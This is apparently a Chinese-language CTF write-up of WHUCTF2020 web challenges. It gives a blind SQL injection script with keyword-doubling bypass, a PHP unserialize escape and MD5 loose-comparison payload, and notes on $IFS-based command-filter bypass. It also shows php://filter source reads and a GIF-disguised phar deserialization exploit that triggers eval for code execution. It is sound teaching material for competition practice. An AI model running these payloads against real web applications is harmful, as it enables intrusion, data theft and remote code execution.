WHUCTF2020做题笔记
Easy_sqli
简单盲注,过滤了一些关键词可以双写绕过
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
import requests
def login(_username,_password):
url = "http://218.197.154.9:10011/login.php"
headers = {
'Host': '218.197.154.9:10011',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
}
data = {
"user":_username,
"pass":_password
}
response = requests.post(url,data=data,headers=headers)
content = response.content
#print content
if "Login success!" in content:
return True
else:
return False
def main():
find_name = ""
# i 表示了所要查找的名字的最大长度
for i in range(0x50):
# 0x80=128 , 0x20=32, 32-128为可显示的字符的区间
for j in range(0x80 , 0x20 , -1):
_username = "1' oorr ascii(substr((seselectlect f111114g frfromom f1ag_y0u_wi1l_n3ver_kn0w),%d,1))=%d#" %(i,j)
_password="1"
#print _username
if login(_username,_password):
find_name+=chr(j)
print find_name
break
main()
|
ezphp
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('会代码审计嘛23333');
}
//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}
//3nd
function filter($string){
return preg_replace('/x/', 'yy', $string);
}
$username = $_POST['username'];
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}
|
NCTF和Minilctf有类似的题目
最后一关考反序列化逃逸,参考本站:http://blog.clq0.top/2020/05/minil-ctf/#ezbypass
payload:
1
2
3
|
http://218.197.154.9:10015/?num=23333%0A&str1=240610708&str2=11230178
POST:
username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}
|
poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
function filter($string){
return preg_replace('/x/', 'yy', $string);
}
$username = 'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}';
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));
echo serialize($user).'</br>';
echo $r.'</br>';
echo unserialize($r)[1];
if(unserialize($r)[1] == "123456"){
echo "good!";
}
?>
|
ezcmd
简单的rce-bypass
参考:http://blog.clq0.top/2020/03/ctfhub-web-rce-%e7%bb%bc%e5%90%88%e8%bf%87%e6%bb%a4/
使用$IFS$9绕空格,变量绕flag和cat即可
或者用cat ls
也可直接输出当前所有文件内容
ezinclude
简单文件包含伪协议读文件,经过测试
thankyou.php?file=
处存在文件包含,伪协议读flag.php即可
Easy_unserialize
参考:https://www.freebuf.com/column/198945.html
打开题目发现是图片上传,结合题目应该想到phar反序列化,之前在复现Drupal 远程代码执行漏洞(CVE-2019-6339)的时候遇到过,但是没去深究
phar反序列化的利用原理主要是:利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
Phar简介¶
phar扩展提供了一种将整个PHP应用程序放入称为“ phar”(PHP归档文件)的单个文件中的方法,以便于分发和安装。除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和处理tar和zip文件 ,就像PDO提供了用于访问不同数据库的统一接口一样。与无法在不同数据库之间进行转换的PDO不同,Phar还可以使用一行代码在tar,zip和phar文件格式之间进行转换。有关一个示例,请参见 Phar :: convertToExecutable()。
什么是Phar?Phar归档文件最有特色的特点是可以方便地将多个文件分组为一个文件。这样,phar存档提供了一种在单个文件中分发完整的PHP应用程序并从该文件运行它的方法,而无需将其提取到磁盘。此外,PHP可以像在命令行上和从Web服务器上的任何其他文件一样轻松地执行phar存档。Phar有点像PHP应用程序的拇指驱动器。
------来自https://www.php.net/manual/en/intro.phar.php
简单来说
phar
就是
php
压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与
file://
php://
等类似,也是一种流包装器。
1
2
3
4
5
6
|
//phar结构由 4 部分组成:
stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;
|
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>
结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf
文件来绕过一些上传限制;二是反序列化,phar
存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化,而这样的文件操作函数有很多:
我们知道php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
//根据具体代码修改可利用的类
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
|
接下来我们看看WHUCTF这道题,
在index.php访问其他页面抓包可以看到有?acti0n=xxx
用伪协议读upload.php源码:?acti0n=php://filter/convert.Base64-encode/resource=upload.php
伪协议过滤了base64关键字,大小写即可绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
<!DOCTYPE html>
<link type = "text/css" rel = "stylesheet" href = "css/style.css">
<html lang = "zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>上传图片</title>
</head>
<body>
<script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
<br><br><br>
<h2>上传你手里最好的图片!</h2>
<p id = "comment">If it is excellent enough, you will get the flag!</p>
<br><br><br>
<div class = "form1">
<form action = "upload.php" method = "post" accept-charset = "utf-8" enctype = "multipart/form-data">
<label name = "title" for = "file">图片: </label>
<input type = "file" name = "file" id = "file">
<input type = "submit" class = "button" name = "submit" value = "上传">
</form>
</div>
</body>
</html>
<?php
error_reporting(0);
$dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
if(!is_dir($dir)) {
if(!mkdir($dir, 0777, true)) {
echo error_get_last()['message'];
die('Failed to make the directory');
}
}
chdir($dir);
if(isset($_POST['submit'])) {
$name = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$ans = exif_imagetype($tmp_name);
if($_FILES['file']['size'] >= 204800) {
die('filesize too big.');
}
if(!$name) {
die('filename can not be empty!');
}
if(preg_match('/(htaccess)|(user)|(\.\.)|(%)|(#)/i', $name) !== 0) {
die('Hacker!');
}
if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
$type = $_FILES['file']['type'];
if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
echo "<p align=\"center\">Don't cheat me with Content-Type!</p>";
}
echo("<p align=\"center\">You can't upload this kind of file!</p>");
exit;
}
$content = file_get_contents($tmp_name);
if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
echo('<script>alert("You could not upload this image because of some dangerous code in your file!")</script>');
exit;
}
$extension = substr($name, strrpos($name, ".") + 1);
if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
die("<p align=\"center\">You can't upload this kind of file!</p>");
}
$upload_file = $name;
move_uploaded_file($tmp_name, $upload_file);
if(file_exists($name)) {
echo "<p align=\"center\">Your file $name has been uploaded.<br></p>";
} else {
echo '<script>alert("上传失败")</script>';
}
echo "<p align=\"center\"><a href=\"view.php\" >点我去看上传的文件</a></p>";
#header("refresh:3;url=index.php");
}
?>
|
读view.php:?acti0n=PhP://Filter/convert.Base64-encode/resource=upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
<!DOCTYPE html>
<html lang="zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>查看图片</title>
<link type = "text/css" rel = "stylesheet" href = "css/style.css">
</head>
<body>
<script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
<?php
#include_once "flag.php";
error_reporting(0);
class View
{
public $dir;
private $cmd;
function __construct()
{
$this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
$this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
if(!is_dir($this->dir)) {
mkdir($this->dir, 0777, true);
}
}
function get_file_list() {
$file = scandir('.');
return $file;
}
function show_file_list() {
$file = $this->get_file_list();
for ($i = 2; $i < sizeof($file); $i++) {
echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."] $file[$i] </p>";
}
}
function show_img($file_name) {
$name = $file_name;
$width = getimagesize($name)[0];
$height = getimagesize($name)[1];
$times = $width / 200;
$width /= $times;
$height /= $times;
$template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
echo $template;
}
function delete_img($file_name) {
$name = $file_name;
if (file_exists($name)) {
@unlink($name);
if(!file_exists($name)) {
echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
header("refresh:3;url=view.php");
} else {
echo "Can not delete!";
exit;
}
} else {
echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
}
}
function __destruct() {
eval($this->cmd);
}
}
$ins = new View();
chdir($ins->dir);
echo "<h3>当前目录为 " . $ins->dir . "</h3>";
$ins->show_file_list();
if (isset($_POST['show'])) {
$file_name = $_POST['show'];
$ins->show_img($file_name);
}
if (isset($_POST['delete'])) {
$file_name = $_POST['delete'];
$ins->delete_img($file_name);
}
unset($ins);
?>
</body>
</html>
|
在upload.php里可以看见白名单里有phar,明显就是让我们利用phar反序列化
然后看到view.php里有明显的eval和file_exists()函数,于是可以利用view类的file_exists()出发phar反序列化然后调用eval执行我们的命令
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
class View
{
public $dir;
private $cmd='highlight_file("/var/www/html/flag.php");';
}
$a=new View();
@unlink("phar.phar");
$phar = new Phar("eval.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.jpg", "test");
$phar->stopBuffering();
|
访问生成eval.php然后上传,在view.php处postshow=phar://eval.phar或者delete=phar://eval.phar